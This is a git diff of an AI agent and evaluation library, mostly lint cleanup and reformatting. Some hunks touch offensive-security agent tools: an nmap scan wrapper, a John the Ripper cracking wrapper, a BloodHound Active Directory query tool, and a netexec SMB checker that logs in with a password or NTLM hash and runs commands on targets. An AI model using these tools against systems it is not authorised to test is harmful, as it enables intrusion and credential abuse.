dreadnode/agent/tools/skopeo/tool.py | 4 +-- dreadnode/agent/tools/ssh/tool.py | 2 +- dreadnode/agent/tools/task/finish.py | 4 +-- dreadnode/agent/tools/task/quit.py | 2 +- dreadnode/agent/tools/task/review.py | 2 +- dreadnode/agent/tools/task/todo.py | 6 ++-- dreadnode/api/client.py | 14 ++++---- dreadnode/artifact/merger.py | 2 +- dreadnode/artifact/storage.py | 2 +- dreadnode/artifact/tree_builder.py | 2 +- dreadnode/cli/agent/cli.py | 6 ++-- dreadnode/cli/api.py | 4 +-- dreadnode/cli/github.py | 6 ++-- dreadnode/cli/main.py | 6 ++-- dreadnode/cli/profile/cli.py | 2 +- dreadnode/constants.py | 2 +- dreadnode/convert.py | 2 +- dreadnode/credential_manager.py | 6 ++-- dreadnode/data_types/audio.py | 14 ++++---- dreadnode/data_types/image.py | 28 +++++++-------- dreadnode/data_types/table.py | 8 ++--- dreadnode/data_types/video.py | 16 ++++----- dreadnode/lookup.py | 2 +- dreadnode/main.py | 8 ++--- dreadnode/scorers/classification.py | 2 +- dreadnode/scorers/format.py | 2 +- dreadnode/scorers/harm.py | 2 +- dreadnode/scorers/pii.py | 8 ++--- dreadnode/scorers/rigging.py | 2 +- dreadnode/scorers/similarity.py | 2 +- dreadnode/serialization.py | 30 ++++++++-------- dreadnode/task.py | 2 +- dreadnode/tracing/exporters.py | 18 +++++----- dreadnode/tracing/span.py | 14 ++++---- dreadnode/util.py | 36 +++++++++---------- 47 files changed, 169 insertions(+), 193 deletions(-) diff --git a/.hooks/generate_docs.py b/.hooks/generate_docs.py index 1ab5b499..ed6156ca 100644 --- a/.hooks/generate_docs.py +++ b/.hooks/generate_docs.py @@ -1,4 +1,4 @@ -import argparse # noqa: INP001 +import argparse import re import typing as t from pathlib import Path @@ -18,7 +18,7 @@ def convert_pre(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: return super().convert_pre(el, text.strip(), parent_tags) # bold items with doc-section-title in a span class - def convert_span(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: # noqa: ARG002 + def convert_span(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: if "doc-section-title" in el.get("class", []): return f"**{text.strip()}**" return text @@ -30,7 +30,7 @@ def convert_div(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: return super().convert_div(el, text, parent_tags) # Map mkdocstrings details classes to Mintlify callouts - def convert_details(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: # noqa: ARG002 + def convert_details(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: classes = el.get("class", []) # Handle source code details specially @@ -83,7 +83,7 @@ def __init__(self, source_paths: list[str], theme: str = "material", **options: self.handler = PythonHandler(PythonConfig.from_data(), base_dir=Path.cwd()) self.options = options - self.handler._update_env( # noqa: SLF001 + self.handler._update_env( Markdown(), config={"mdx": ["toc"]}, ) @@ -96,7 +96,7 @@ def simple_convert_markdown( html_id: str = "", **kwargs: t.Any, ) -> t.Any: - return Markup(md.convert(text) if text else "") # noqa: S704 # nosec + return Markup(md.convert(text) if text else "") # nosec self.handler.env.filters["convert_markdown"] = simple_convert_markdown diff --git a/dreadnode/__init__.py b/dreadnode/__init__.py index e8ec7652..53ddba03 100644 --- a/dreadnode/__init__.py +++ b/dreadnode/__init__.py @@ -12,7 +12,7 @@ from dreadnode.version import VERSION if t.TYPE_CHECKING: - from dreadnode import scorers # noqa: F401 + from dreadnode import scorers configure = DEFAULT_INSTANCE.configure shutdown = DEFAULT_INSTANCE.shutdown diff --git a/dreadnode/agent/agent.py b/dreadnode/agent/agent.py index c64016de..893ff5d8 100644 --- a/dreadnode/agent/agent.py +++ b/dreadnode/agent/agent.py @@ -190,7 +190,7 @@ async def generate( generated = (await generator.generate_messages([messages], [params]))[0] if isinstance(generated, BaseException): - raise generated # noqa: TRY301 + raise generated chat = Chat( messages, @@ -202,7 +202,7 @@ async def generate( extra=generated.extra, ) - except Exception as error: # noqa: BLE001 + except Exception as error: chat = Chat( messages, [], diff --git a/dreadnode/agent/configurable.py b/dreadnode/agent/configurable.py index a386153f..1dff1ee4 100644 --- a/dreadnode/agent/configurable.py +++ b/dreadnode/agent/configurable.py @@ -118,7 +118,7 @@ def _is_cli_friendly_type(annotation: t.Any) -> bool: if origin is dict: args = t.get_args(annotation) - if len(args) != 2: # noqa: PLR2004 + if len(args) != 2: return False key_type, value_type = args return key_type in PRIMITIVE_TYPES and value_type in PRIMITIVE_TYPES @@ -160,7 +160,7 @@ def _make_model_fields(obj: t.Callable[..., t.Any], defaults: AnyDict) -> dict[s # Otherwise use the signature to extract fields @functools.wraps(obj) - def empty_func(*args, **kwargs): # type: ignore [no-untyped-def] # noqa: ARG001 + def empty_func(*args, **kwargs): # type: ignore [no-untyped-def] return kwargs # Clear the return annotation to help reduce errors diff --git a/dreadnode/agent/hooks/summarize.py b/dreadnode/agent/hooks/summarize.py index c11dffe2..5dc6e11a 100644 --- a/dreadnode/agent/hooks/summarize.py +++ b/dreadnode/agent/hooks/summarize.py @@ -66,10 +66,10 @@ def summarize_when_long( min_messages_to_keep: The minimum number of messages to retain after summarization (default is 5). """ - if min_messages_to_keep < 2: # noqa: PLR2004 + if min_messages_to_keep < 2: raise ValueError("min_messages_to_keep must be at least 2.") - async def summarize_when_long(event: Event) -> Reaction | None: # noqa: PLR0912 + async def summarize_when_long(event: Event) -> Reaction | None: should_summarize = False # Proactive check using the last known token count diff --git a/dreadnode/agent/reactions.py b/dreadnode/agent/reactions.py index 0040ef13..1ffb1c7a 100644 --- a/dreadnode/agent/reactions.py +++ b/dreadnode/agent/reactions.py @@ -10,7 +10,7 @@ @dataclass -class Reaction(Exception): ... # noqa: N818 +class Reaction(Exception): ... @dataclass diff --git a/dreadnode/agent/thread.py b/dreadnode/agent/thread.py index 656fbbb0..a6d8d0fc 100644 --- a/dreadnode/agent/thread.py +++ b/dreadnode/agent/thread.py @@ -82,7 +82,7 @@ def last_usage(self) -> Usage | None: return last_event.usage return None - async def _stream( # noqa: PLR0912, PLR0915 + async def _stream( self, agent: "Agent", message: Message, hooks: HookMap, *, commit: CommitBehavior ) -> t.AsyncGenerator[Event, None]: events: list[Event] = [] @@ -341,7 +341,7 @@ async def _process_tool_call( yield event if stopped_by_tool_call: - raise Finish( # noqa: TRY301 + raise Finish( f"Tool '{stopped_by_tool_call.name}' handling " f"{stopped_by_tool_call.id} requested to stop the agent." ) diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py index 9c32301a..c1594130 100644 --- a/dreadnode/agent/tools/bloodhound/tool.py +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -54,8 +54,6 @@ async def initialize(self) -> None: encrypted=False, ) - await self.verify_connectivity() - if await self._api_authenticate() is None: raise Warning("Could not authenticate to Bloodhound REST API") @@ -69,11 +67,12 @@ async def _api_authenticate(self) -> dict | None: "secret": self.config["password"], } auth_token = None - async with aiohttp.ClientSession() as session: - async with session.post(url=url, json=auth_data) as resp: - auth_token = await resp.json() + async with ( + aiohttp.ClientSession() as session, + session.post(url=url, json=auth_data) as resp, + ): + auth_token = await resp.json() - # logger.info(_rich_print(f"authentication token returned from BloodHound API: {auth_token}")) if auth_token is None or auth_token.get("data", None) is None: logger.error(self._rich_print("Couldnt authenticate to Bloodhound REST API.")) return None @@ -82,29 +81,6 @@ async def _api_authenticate(self) -> dict | None: return self._api_auth_token - async def verify_connectivity(self): - """verify BloodHound neo4j database connectivity""" - try: - # Try both default and bloodhound databases - databases = ["neo4j", "bloodhound"] - for db in databases: - try: - with self._graph_driver.session(database=db) as session: - logger.debug(f"Attempting to verify connection to database '{db}'...") - result = session.run("MATCH (n:User) RETURN count(n) as count") - count = result.single()["count"] - logger.info( - f"Successfully connected to database '{db}'. Found {count} users." - ) - return True - except Exception as e: - logger.debug(f"Failed to connect to database '{db}': {e!s}") - continue - raise Exception("Could not connect to any database") - except Exception as e: - logger.error(f"Failed to connect to Neo4j: {e!s}") - return False - @tool_method() async def query_bloodhound(self, query: str): databases = ["neo4j", "bloodhound"] diff --git a/dreadnode/agent/tools/filesystem/tool.py b/dreadnode/agent/tools/filesystem/tool.py index a4fed5cc..aed837d4 100644 --- a/dreadnode/agent/tools/filesystem/tool.py +++ b/dreadnode/agent/tools/filesystem/tool.py @@ -92,7 +92,7 @@ def _resolve(self, path: str) -> UPath: if not str(full_path).startswith(str(self.path)): raise ValueError(f"'{path}' is not accessible.") - full_path._fs_cached = self._fs # noqa: SLF001 + full_path._fs_cached = self._fs return full_path diff --git a/dreadnode/agent/tools/ilspy/tool.py b/dreadnode/agent/tools/ilspy/tool.py index dbcec2ea..56ae3f55 100644 --- a/dreadnode/agent/tools/ilspy/tool.py +++ b/dreadnode/agent/tools/ilspy/tool.py @@ -13,7 +13,7 @@ load("coreclr") -import clr # type: ignore [import-untyped] # noqa: E402 +import clr # type: ignore [import-untyped] lib_dir = Path(__file__).parent / "bin" sys.path.append(str(lib_dir)) @@ -22,19 +22,19 @@ clr.AddReference("Mono.Cecil") -from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] # noqa: E402 +from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] DecompilerSettings, ) -from ICSharpCode.Decompiler.CSharp import ( # type: ignore [import-not-found] # noqa: E402 +from ICSharpCode.Decompiler.CSharp import ( # type: ignore [import-not-found] CSharpDecompiler, ) -from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] # noqa: E402 +from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] MetadataTokenHelpers, ) from ICSharpCode.Decompiler.TypeSystem import ( FullTypeName, # type: ignore [import-not-found] ) -from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] # noqa: E402 +from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] # Helpers diff --git a/dreadnode/agent/tools/jupyter/tool.py b/dreadnode/agent/tools/jupyter/tool.py index 7e5249c2..ca9e6254 100644 --- a/dreadnode/agent/tools/jupyter/tool.py +++ b/dreadnode/agent/tools/jupyter/tool.py @@ -437,7 +437,7 @@ async def execute( log_output: bool = ..., ) -> Notebook: ... - async def execute( # noqa: PLR0912, PLR0915 + async def execute( self, source: str | list[str], *, diff --git a/dreadnode/agent/tools/pentest/internal/tool.py b/dreadnode/agent/tools/pentest/internal/tool.py index ff9824e0..c8a331e1 100644 --- a/dreadnode/agent/tools/pentest/internal/tool.py +++ b/dreadnode/agent/tools/pentest/internal/tool.py @@ -24,7 +24,7 @@ def nmap_scan(target: str) -> str: >>> result = nmap_scan("192.168.1.2") """ - cmd = ["nmap", "-T4", "-sS", "-sV", "--open"] + target.split(" ") + cmd = ["nmap", "-T4", "-sS", "-sV", "--open", *target.split(" ")] try: logger.info("[*] Scanning targets...") @@ -555,8 +555,8 @@ def john_the_ripper( return output finally: - if os.path.exists(hash_file_path): - os.unlink(hash_file_path) + if Path.exists(hash_file_path): + Path.unlink(hash_file_path) session_files = [ f"{session_name}.pot", @@ -566,14 +566,12 @@ def john_the_ripper( for session_file in session_files: if Path.exists(session_file): try: - os.unlink(session_file) + Path.unlink(session_file) except Exception: pass except subprocess.TimeoutExpired: return "Error: Command timed out" - except Exception as e: - return f"Error: {e!s}" @tool() @@ -600,13 +598,13 @@ def domain_admin_checker( """ try: - cmd = ["netexec", "smb"] + targets.split(" ") + cmd = ["netexec", "smb", *targets.split(" ")] if password: - print(f"[*] Domain admin checker using password for {username}") + logger.info(f"[*] Domain admin checker using password for {username}") cmd.extend(["-u", username, "-p", password]) elif hash: - print(f"[*] Domain admin checker using hash for {username}") + logger.info(f"[*] Domain admin checker using hash for {username}") cmd.extend(["-u", username, "-H", hash]) cmd.extend(["-x", "whoami"]) diff --git a/dreadnode/agent/tools/skopeo/tool.py b/dreadnode/agent/tools/skopeo/tool.py index c5438f5f..9f8cbfcc 100644 --- a/dreadnode/agent/tools/skopeo/tool.py +++ b/dreadnode/agent/tools/skopeo/tool.py @@ -25,7 +25,7 @@ class Skopeo(Toolset): def _run(self, cmd: str) -> subprocess.CompletedProcess: cmd_list = cmd.split() if isinstance(cmd, str) else cmd - return subprocess.run(cmd_list, shell=False, capture_output=True, check=False) + return subprocess.run(cmd_list, shell=False, capture_output=True, check=False) # nosec def _skopeo_json(self, args: str) -> dict[str, t.Any]: cp = self._run(f"skopeo {args}") @@ -153,4 +153,4 @@ def download_latest_layers(self, repo: str, out_dir: str | None = None) -> str: except (httpx.HTTPError, tarfile.TarError, OSError) as e: return f"Failed on {digest}: {e}. Extracted so far to {out_dir}" - return f"Extracted {len(layers)} layer(s) to {out_dir}" \ No newline at end of file + return f"Extracted {len(layers)} layer(s) to {out_dir}" diff --git a/dreadnode/agent/tools/ssh/tool.py b/dreadnode/agent/tools/ssh/tool.py index 268b4c36..d4a0cac0 100644 --- a/dreadnode/agent/tools/ssh/tool.py +++ b/dreadnode/agent/tools/ssh/tool.py @@ -120,4 +120,4 @@ def tmux_capture( self, session: str, conn: SSHConn | None = None, profile: str | None = None ) -> dict: c = self._resolve_conn(conn, profile) - return self.exec(f"tmux capture-pane -pt {_q(session)}", conn=c) \ No newline at end of file + return self.exec(f"tmux capture-pane -pt {_q(session)}", conn=c) diff --git a/dreadnode/agent/tools/task/finish.py b/dreadnode/agent/tools/task/finish.py index ad712b4b..dc505840 100644 --- a/dreadnode/agent/tools/task/finish.py +++ b/dreadnode/agent/tools/task/finish.py @@ -7,7 +7,7 @@ @tool -async def mark_complete(success: bool, summary: str) -> None: # noqa: FBT001 +async def mark_complete(success: bool, summary: str) -> None: """ Mark your task as complete with a success/failure status and markdown summary of actions taken. @@ -38,4 +38,4 @@ async def mark_complete(success: bool, summary: str) -> None: # noqa: FBT001 log_metric("task_success", success) log_output("task_summary", Markdown(summary)) - raise Finish if success else Fail("Agent marked the task as failed.") \ No newline at end of file + raise Finish if success else Fail("Agent marked the task as failed.") diff --git a/dreadnode/agent/tools/task/quit.py b/dreadnode/agent/tools/task/quit.py index 1a481e9d..b1323d81 100644 --- a/dreadnode/agent/tools/task/quit.py +++ b/dreadnode/agent/tools/task/quit.py @@ -12,4 +12,4 @@ async def give_up(reason: str) -> None: """ logger.info(f"Agent gave up on the task: {reason}") log_output("complete_task_summary", Markdown(f"## Gave up on task\n\n{reason}")) - log_metric("agent_marked_complete", 1) \ No newline at end of file + log_metric("agent_marked_complete", 1) diff --git a/dreadnode/agent/tools/task/review.py b/dreadnode/agent/tools/task/review.py index 9679a5a1..689a0a0b 100644 --- a/dreadnode/agent/tools/task/review.py +++ b/dreadnode/agent/tools/task/review.py @@ -32,4 +32,4 @@ async def highlight_for_review(title: str, interest_level: str, justification: s log_output("markdown", Markdown(f"# {title} ({interest_level})\n\n{justification}")) log_metric("count", 1, mode="count") - return "Area of interest has been highlighted for human review. Continue analysis." \ No newline at end of file + return "Area of interest has been highlighted for human review. Continue analysis." diff --git a/dreadnode/agent/tools/task/todo.py b/dreadnode/agent/tools/task/todo.py index 423941cb..6b4c9f27 100644 --- a/dreadnode/agent/tools/task/todo.py +++ b/dreadnode/agent/tools/task/todo.py @@ -98,7 +98,9 @@ def update_todo(todos: t.Annotated[list[TodoItem], "The full, updated list of to status_log = f"Updated todo list with {len(todos)} tasks:\n" for todo in todos: status = ( - "Complete" if todo.status == "completed" else ("⏳" if todo.status == "in_progress" else "📌") + "Complete" + if todo.status == "completed" + else ("⏳" if todo.status == "in_progress" else "📌") ) status_log += f"{status} {todo.content} (priority: {todo.priority})\n" @@ -109,4 +111,4 @@ def update_todo(todos: t.Annotated[list[TodoItem], "The full, updated list of to f"{status_counts['completed']} completed, " f"{status_counts['in_progress']} in progress, " f"{status_counts['pending']} pending." - ) \ No newline at end of file + ) diff --git a/dreadnode/api/client.py b/dreadnode/api/client.py index 12243907..836a1f9c 100644 --- a/dreadnode/api/client.py +++ b/dreadnode/api/client.py @@ -147,7 +147,7 @@ def _get_error_message(self, response: httpx.Response) -> str: try: obj = response.json() return f"{response.status_code}: {obj.get('detail', json.dumps(obj))}" - except Exception: # noqa: BLE001 + except Exception: return str(response.content) def _request( @@ -231,9 +231,9 @@ def poll_for_token( "POST", "/auth/device/token", json_data={"device_code": device_code} ) - if response.status_code == 200: # noqa: PLR2004 + if response.status_code == 200: return AccessRefreshTokenResponse(**response.json()) - if response.status_code != 401: # noqa: PLR2004 + if response.status_code != 401: raise RuntimeError(self._get_error_message(response)) time.sleep(interval) @@ -393,7 +393,7 @@ def export_runs( Returns: A DataFrame containing the exported run data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", @@ -430,7 +430,7 @@ def export_metrics( Returns: A DataFrame containing the exported metric data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", @@ -470,7 +470,7 @@ def export_parameters( Returns: A DataFrame containing the exported parameter data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", @@ -511,7 +511,7 @@ def export_timeseries( Returns: A DataFrame containing the exported timeseries data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", diff --git a/dreadnode/artifact/merger.py b/dreadnode/artifact/merger.py index 355d9f09..baf09f50 100644 --- a/dreadnode/artifact/merger.py +++ b/dreadnode/artifact/merger.py @@ -589,7 +589,7 @@ def _update_directory_hash(self, dir_node: DirectoryNode) -> str: child_hashes.sort() # Ensure consistent hash regardless of order hash_input = "|".join(child_hashes) - dir_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # noqa: S324 # nosec + dir_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # nosec dir_node["hash"] = dir_hash return dir_hash diff --git a/dreadnode/artifact/storage.py b/dreadnode/artifact/storage.py index ca54fba3..047b7c36 100644 --- a/dreadnode/artifact/storage.py +++ b/dreadnode/artifact/storage.py @@ -106,7 +106,7 @@ def compute_file_hash(self, file_path: Path, stream_threshold_mb: int = 10) -> s file_size = file_path.stat().st_size stream_threshold = stream_threshold_mb * 1024 * 1024 - sha1 = hashlib.sha1() # noqa: S324 # nosec + sha1 = hashlib.sha1() # nosec if file_size < stream_threshold: with file_path.open("rb") as f: diff --git a/dreadnode/artifact/tree_builder.py b/dreadnode/artifact/tree_builder.py index a26e5850..1e4e1188 100644 --- a/dreadnode/artifact/tree_builder.py +++ b/dreadnode/artifact/tree_builder.py @@ -397,7 +397,7 @@ def _compute_directory_hash(self, dir_node: DirectoryNode) -> str: child_hashes = [child["hash"] for child in dir_node["children"]] child_hashes.sort() # Ensure consistent hash hash_input = "|".join(child_hashes) - return hashlib.sha1(hash_input.encode()).hexdigest()[:16] # noqa: S324 # nosec + return hashlib.sha1(hash_input.encode()).hexdigest()[:16] # nosec def _are_all_children_processed(self, parent_node: DirectoryNode, processed: set[str]) -> bool: """ diff --git a/dreadnode/cli/agent/cli.py b/dreadnode/cli/agent/cli.py index 133acbb9..ef88a76a 100644 --- a/dreadnode/cli/agent/cli.py +++ b/dreadnode/cli/agent/cli.py @@ -121,11 +121,11 @@ async def agent_cli(*, config: t.Any = config_default) -> None: return if config.suffix in {".toml"}: - agent_app._config = cyclopts.config.Yaml(config, use_commands_as_keys=False) # noqa: SLF001 + agent_app._config = cyclopts.config.Yaml(config, use_commands_as_keys=False) elif config.suffix in {".yaml", ".yml"}: - agent_app._config = cyclopts.config.Toml(config, use_commands_as_keys=False) # noqa: SLF001 + agent_app._config = cyclopts.config.Toml(config, use_commands_as_keys=False) elif config.suffix in {".json"}: - agent_app._config = cyclopts.config.Json(config, use_commands_as_keys=False) # noqa: SLF001 + agent_app._config = cyclopts.config.Json(config, use_commands_as_keys=False) else: rich.print(f":exclamation: Unsupported configuration file format: '{config.suffix}'.") return diff --git a/dreadnode/cli/api.py b/dreadnode/cli/api.py index d2ae7b49..09209a9a 100644 --- a/dreadnode/cli/api.py +++ b/dreadnode/cli/api.py @@ -62,8 +62,8 @@ def create_api_client(*, profile: str | None = None) -> ApiClient: def _flush_auth_changes() -> None: """Flush the authentication data to disk if it has been updated.""" - access_token = client._client.cookies.get("access_token") # noqa: SLF001 - refresh_token = client._client.cookies.get("refresh_token") # noqa: SLF001 + access_token = client._client.cookies.get("access_token") + refresh_token = client._client.cookies.get("refresh_token") changed: bool = False if access_token and access_token != config.access_token: diff --git a/dreadnode/cli/github.py b/dreadnode/cli/github.py index 6b33390d..e96f48b8 100644 --- a/dreadnode/cli/github.py +++ b/dreadnode/cli/github.py @@ -12,7 +12,7 @@ from dreadnode.config import UserConfig, find_dreadnode_saas_profiles, is_dreadnode_saas_server -class GithubRepo(str): # noqa: SLOT000 +class GithubRepo(str): """ A string subclass that normalizes various GitHub repository string formats. @@ -44,7 +44,7 @@ class GithubRepo(str): # noqa: SLOT000 OWN_FORMAT_PATTERN = re.compile(r"^([^/]+)/([^/@:]+)@(.+)$") ZIPBALL_PATTERN = re.compile(r"github\.com/([^/]+)/([^/]+?)/zipball/(.+)$") - def __new__(cls, value: t.Any, *_: t.Any, **__: t.Any) -> "GithubRepo": # noqa: PLR0912, PLR0915 + def __new__(cls, value: t.Any, *_: t.Any, **__: t.Any) -> "GithubRepo": if not isinstance(value, str): return super().__new__(cls, str(value)) @@ -146,7 +146,7 @@ def tree_url(self) -> str: def exists(self) -> bool: """Check if a repo exists (or is private) on GitHub.""" response = httpx.get(f"https://github.com/{self.namespace}/{self.repo}") - return response.status_code == 200 # noqa: PLR2004 + return response.status_code == 200 def __repr__(self) -> str: return f"GithubRepo(namespace='{self.namespace}', repo='{self.repo}', ref='{self.ref}')" diff --git a/dreadnode/cli/main.py b/dreadnode/cli/main.py index ccb732e3..a6975263 100644 --- a/dreadnode/cli/main.py +++ b/dreadnode/cli/main.py @@ -202,9 +202,9 @@ def clone( @cli.command(help="Show versions and exit.", group="Meta") def version() -> None: - import importlib.metadata # noqa: PLC0415 - import platform # noqa: PLC0415 - import sys # noqa: PLC0415 + import importlib.metadata + import platform + import sys version = importlib.metadata.version("dreadnode") python_version = f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}" diff --git a/dreadnode/cli/profile/cli.py b/dreadnode/cli/profile/cli.py index 6b54f2d8..64e36dea 100644 --- a/dreadnode/cli/profile/cli.py +++ b/dreadnode/cli/profile/cli.py @@ -59,7 +59,7 @@ def switch( # If no profile provided, prompt user to choose if profile is None: - from rich.prompt import Prompt # noqa: PLC0415 + from rich.prompt import Prompt profiles = list(config.servers.keys()) rich.print("\nAvailable profiles:") diff --git a/dreadnode/constants.py b/dreadnode/constants.py index f2888347..6aa5a12e 100644 --- a/dreadnode/constants.py +++ b/dreadnode/constants.py @@ -34,7 +34,7 @@ ENV_SERVER_URL = "DREADNODE_SERVER_URL" ENV_SERVER = "DREADNODE_SERVER" # alternative to SERVER_URL -ENV_API_TOKEN = "DREADNODE_API_TOKEN" # noqa: S105 # nosec +ENV_API_TOKEN = "DREADNODE_API_TOKEN" # nosec ENV_API_KEY = "DREADNODE_API_KEY" # pragma: allowlist secret (alternative to API_TOKEN) ENV_LOCAL_DIR = "DREADNODE_LOCAL_DIR" ENV_PROJECT = "DREADNODE_PROJECT" diff --git a/dreadnode/convert.py b/dreadnode/convert.py index 4039268d..c1fca0cd 100644 --- a/dreadnode/convert.py +++ b/dreadnode/convert.py @@ -8,7 +8,7 @@ def run_span_to_graph(run: "RunSpan") -> "nx.DiGraph": try: - import networkx as nx # noqa: PLC0415 # pyright: ignore[reportMissingModuleSource] + import networkx as nx # pyright: ignore[reportMissingModuleSource] except ImportError as e: raise RuntimeError("The `networkx` package is required for graph conversion") from e diff --git a/dreadnode/credential_manager.py b/dreadnode/credential_manager.py index afc9c2a3..ead667a4 100644 --- a/dreadnode/credential_manager.py +++ b/dreadnode/credential_manager.py @@ -3,7 +3,7 @@ from datetime import datetime, timezone from typing import TYPE_CHECKING, TypeVar -from botocore.exceptions import ClientError # type: ignore # noqa: PGH003 +from botocore.exceptions import ClientError # type: ignore from loguru import logger from s3fs import S3FileSystem # type: ignore[import-untyped] @@ -41,7 +41,7 @@ def get_filesystem(self) -> S3FileSystem: """Get current filesystem, refreshing credentials if needed.""" if self._needs_refresh(): self._refresh_credentials() - assert self._filesystem is not None # noqa: S101 + assert self._filesystem is not None return self._filesystem def get_prefix(self) -> str: @@ -103,7 +103,7 @@ def execute_with_retry(self, operation: Callable[[], T], max_retries: int = 3) - for attempt in range(max_retries): try: return operation() - except ClientError as e: # noqa: PERF203 + except ClientError as e: error_code = e.response.get("Error", {}).get("Code", "") if error_code in ["ExpiredToken", "InvalidAccessKeyId", "SignatureDoesNotMatch"]: logger.info( diff --git a/dreadnode/data_types/audio.py b/dreadnode/data_types/audio.py index ca23353c..dfa051f7 100644 --- a/dreadnode/data_types/audio.py +++ b/dreadnode/data_types/audio.py @@ -10,14 +10,14 @@ def check_imports() -> None: try: - import soundfile as sf # type: ignore[import-untyped,unused-ignore] # noqa: F401,PLC0415 + import soundfile as sf # type: ignore[import-untyped,unused-ignore] except ImportError as e: raise ImportError( "Audio processing requires `soundfile`. Install with: pip install dreadnode[multimodal]" ) from e try: - import numpy as np # type: ignore[import-untyped,unused-ignore] # noqa: F401,PLC0415 + import numpy as np # type: ignore[import-untyped,unused-ignore] except ImportError as e: raise ImportError( "Audio processing requires `numpy`. Install with: pip install dreadnode[multimodal]" @@ -78,7 +78,7 @@ def _process_audio_data(self) -> tuple[bytes, str, int | None, float | None]: Returns: A tuple of (audio_bytes, format_name, sample_rate, duration) """ - import numpy as np # noqa: PLC0415 + import numpy as np if isinstance(self._data, str | Path) and Path(self._data).exists(): return self._process_file_path() @@ -94,7 +94,7 @@ def _process_file_path(self) -> tuple[bytes, str, int | None, float | None]: Returns: A tuple of (audio_bytes, format_name, sample_rate, duration) """ - import soundfile as sf # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 + import soundfile as sf # type: ignore[import-not-found,unused-ignore] path_str = str(self._data) audio_bytes = Path(path_str).read_bytes() @@ -113,8 +113,8 @@ def _process_numpy_array(self) -> tuple[bytes, str, int | None, float | None]: Returns: A tuple of (audio_bytes, format_name, sample_rate, duration) """ - import numpy as np # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 - import soundfile as sf # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import-not-found,unused-ignore] + import soundfile as sf # type: ignore[import-not-found,unused-ignore] if self._sample_rate is None: raise ValueError('Argument "sample_rate" is required when using numpy arrays.') @@ -151,7 +151,7 @@ def _generate_metadata( Returns: A dictionary of metadata """ - import numpy as np # type: ignore[import-not-found,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import-not-found,unused-ignore] metadata: dict[str, str | int | float | None] = { "extension": format_name.lower(), diff --git a/dreadnode/data_types/image.py b/dreadnode/data_types/image.py index 9383d85c..eb55bc4e 100644 --- a/dreadnode/data_types/image.py +++ b/dreadnode/data_types/image.py @@ -11,14 +11,14 @@ def check_imports() -> None: try: - import PIL # type: ignore[import,unused-ignore] # noqa: F401,PLC0415 + import PIL # type: ignore[import,unused-ignore] except ImportError as e: raise ImportError( "Image processing requires `pillow`. Install with: pip install dreadnode[multimodal]" ) from e try: - import numpy as np # type: ignore[import,unused-ignore] # noqa: F401,PLC0415 + import numpy as np # type: ignore[import,unused-ignore] except ImportError as e: raise ImportError( "Image processing requires `numpy`. Install with: pip install dreadnode[multimodal]" @@ -83,8 +83,8 @@ def _process_image_data(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] + import PIL.Image # type: ignore[import,unused-ignore] if isinstance(self._data, (str, Path)) and Path(self._data).exists(): return self._process_file_path() @@ -104,7 +104,7 @@ def _process_file_path(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] path_str = str(self._data) image_bytes = Path(path_str).read_bytes() @@ -122,7 +122,7 @@ def _process_pil_image(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] if not isinstance(self._data, PIL.Image.Image): raise TypeError(f"Expected PIL.Image, got {type(self._data)}") @@ -160,8 +160,8 @@ def _process_numpy_array(self) -> tuple[bytes, str, str | None, int | None, int Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] + import PIL.Image # type: ignore[import,unused-ignore] buffer = io.BytesIO() image_format = self._format or "png" @@ -191,7 +191,7 @@ def _process_raw_bytes(self) -> tuple[bytes, str, str | None, int | None, int | Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] if not isinstance(self._data, bytes): raise TypeError(f"Expected bytes, got {type(self._data)}") @@ -216,7 +216,7 @@ def _process_base64_string(self) -> tuple[bytes, str, str | None, int | None, in Returns: A tuple of (image_bytes, image_format, mode, width, height) """ - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import PIL.Image # type: ignore[import,unused-ignore] if not isinstance(self._data, str): raise TypeError(f"Expected str, got {type(self._data)}") @@ -232,7 +232,7 @@ def _process_base64_string(self) -> tuple[bytes, 